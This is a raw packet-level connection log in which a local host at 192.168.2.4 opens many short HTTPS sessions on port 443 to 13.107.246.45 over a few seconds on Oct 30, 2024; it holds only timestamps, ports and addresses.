Oct 30, 2024 02:28:37.549276114 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.549400091 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.549434900 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.549463034 CET	49990	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.549478054 CET	443	49990	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.552177906 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.552220106 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.552314043 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.552443981 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.552459002 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.711407900 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.712038040 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.712063074 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.712580919 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.712588072 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.818299055 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.818350077 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.818397045 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.818408966 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.818423033 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.818485975 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.818703890 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.818711042 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.818722963 CET	49991	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.818727016 CET	443	49991	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.821516991 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.821564913 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.821652889 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.821789980 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.821808100 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.840382099 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.840528965 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.840595961 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.840630054 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.840641975 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.840653896 CET	49992	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.840657949 CET	443	49992	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.843142033 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.843183994 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.843262911 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.843380928 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.843394995 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.950495958 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.951128006 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.951143980 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:37.951395988 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:37.951400995 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.081070900 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.081136942 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.081191063 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.081202030 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.081243992 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.081289053 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.081587076 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.081599951 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.081610918 CET	49993	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.081615925 CET	443	49993	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.084521055 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.084568977 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.084659100 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.084817886 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.084836960 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.217381954 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.217873096 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.217890978 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.218297005 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.218302965 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.306490898 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.306940079 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.306947947 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.307337046 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.307341099 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.347596884 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.347779036 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.347956896 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.347956896 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.347956896 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.350146055 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.350191116 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.350251913 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.350987911 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.351002932 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.438292980 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.438360929 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.438481092 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.438509941 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.438582897 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.438904047 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.438915968 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.438925982 CET	49995	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.438930035 CET	443	49995	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.441776037 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.441800117 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.441878080 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.441987038 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.441994905 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.552449942 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.552886009 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.552905083 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.553282022 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.553291082 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.585426092 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.588665009 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.588682890 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.589039087 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.589044094 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.659280062 CET	49994	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.659293890 CET	443	49994	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.682811975 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.682883978 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.682956934 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.714238882 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.714415073 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.714478970 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.737006903 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.737024069 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.737091064 CET	49996	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.737098932 CET	443	49996	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.738360882 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.738399029 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.738414049 CET	49997	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.738420963 CET	443	49997	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.740864992 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.740890026 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.740966082 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.741411924 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.741455078 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.741503954 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.741552114 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.741565943 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:38.741633892 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:38.741641998 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.052041054 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.056197882 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.056216002 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.056760073 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.056767941 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.089376926 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.089755058 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.089785099 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.090266943 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.090276003 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.184420109 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.184784889 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.184797049 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.185188055 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.185192108 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.187222958 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.187612057 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.187670946 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.187715054 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.187728882 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.187741995 CET	49998	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.187747002 CET	443	49998	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.190588951 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.190614939 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.190687895 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.190793991 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.190808058 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.218791962 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.218858957 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.218965054 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.218981028 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.219017982 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.219201088 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.219221115 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.219233036 CET	49999	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.219239950 CET	443	49999	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.221456051 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.221487999 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.221563101 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.221704006 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.221719980 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.315653086 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.315821886 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.315881014 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.315917015 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.315927982 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.315937042 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.315943003 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.317826986 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.317851067 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.317914963 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.318051100 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.318069935 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.478710890 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.479316950 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.479335070 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.479748011 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.479753971 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.483490944 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.483738899 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.483750105 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.484056950 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.484061003 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.609967947 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.610019922 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.610091925 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.610110044 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.610151052 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.610205889 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.610321045 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.610335112 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.610369921 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.610374928 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.613020897 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.613064051 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.613148928 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.613289118 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.613301992 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.616965055 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.617183924 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.617350101 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.617372036 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.617383957 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.617393017 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.617398024 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.619249105 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.619292974 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.619364023 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.619486094 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.619504929 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.926817894 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.927423954 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.927448988 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.927850008 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.927855015 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.949035883 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.949505091 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.949532986 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:39.949871063 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:39.949876070 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.056555033 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.056788921 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.056917906 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.062566996 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.062582016 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.062591076 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.062596083 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.065351009 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.065407991 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.065524101 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.065706968 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.065725088 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.079433918 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.079459906 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.079524994 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.079555988 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.079602957 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.079850912 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.079879045 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.079895973 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.079901934 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.082566977 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.082603931 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.082672119 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.082832098 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.082851887 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.105364084 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.106036901 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.106055975 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.106458902 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.106463909 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.240978956 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.241056919 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.241220951 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.241234064 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.241341114 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.241750956 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.241765022 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.241794109 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.241800070 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.244720936 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.244759083 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.244853020 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.245078087 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.245094061 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.357575893 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.357960939 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.357983112 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.358656883 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.358663082 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.362009048 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.362322092 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.362344027 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.363934994 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.363941908 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.503485918 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.503519058 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.503547907 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.503576994 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.503629923 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.503639936 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.503685951 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.503694057 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.503726006 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.503743887 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.503937960 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.503953934 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.503963947 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.503968954 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.503989935 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.503989935 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.504013062 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.504025936 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.506841898 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.506879091 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.506975889 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.507095098 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.507100105 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.507108927 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.507122040 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.507184029 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.507395983 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.507412910 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.794397116 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.795008898 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.795037031 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.795546055 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.795552015 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.826524973 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.827011108 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.827030897 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.827555895 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.827562094 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.923600912 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.923784971 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.923851967 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.924009085 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.924026012 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.924036980 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.924041986 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.927891016 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.927953959 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.928035021 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.928347111 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:40.928380013 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.956895113 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.957043886 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:40.957103014 CET	50009	443	192.168.2.4	13.107.246.45
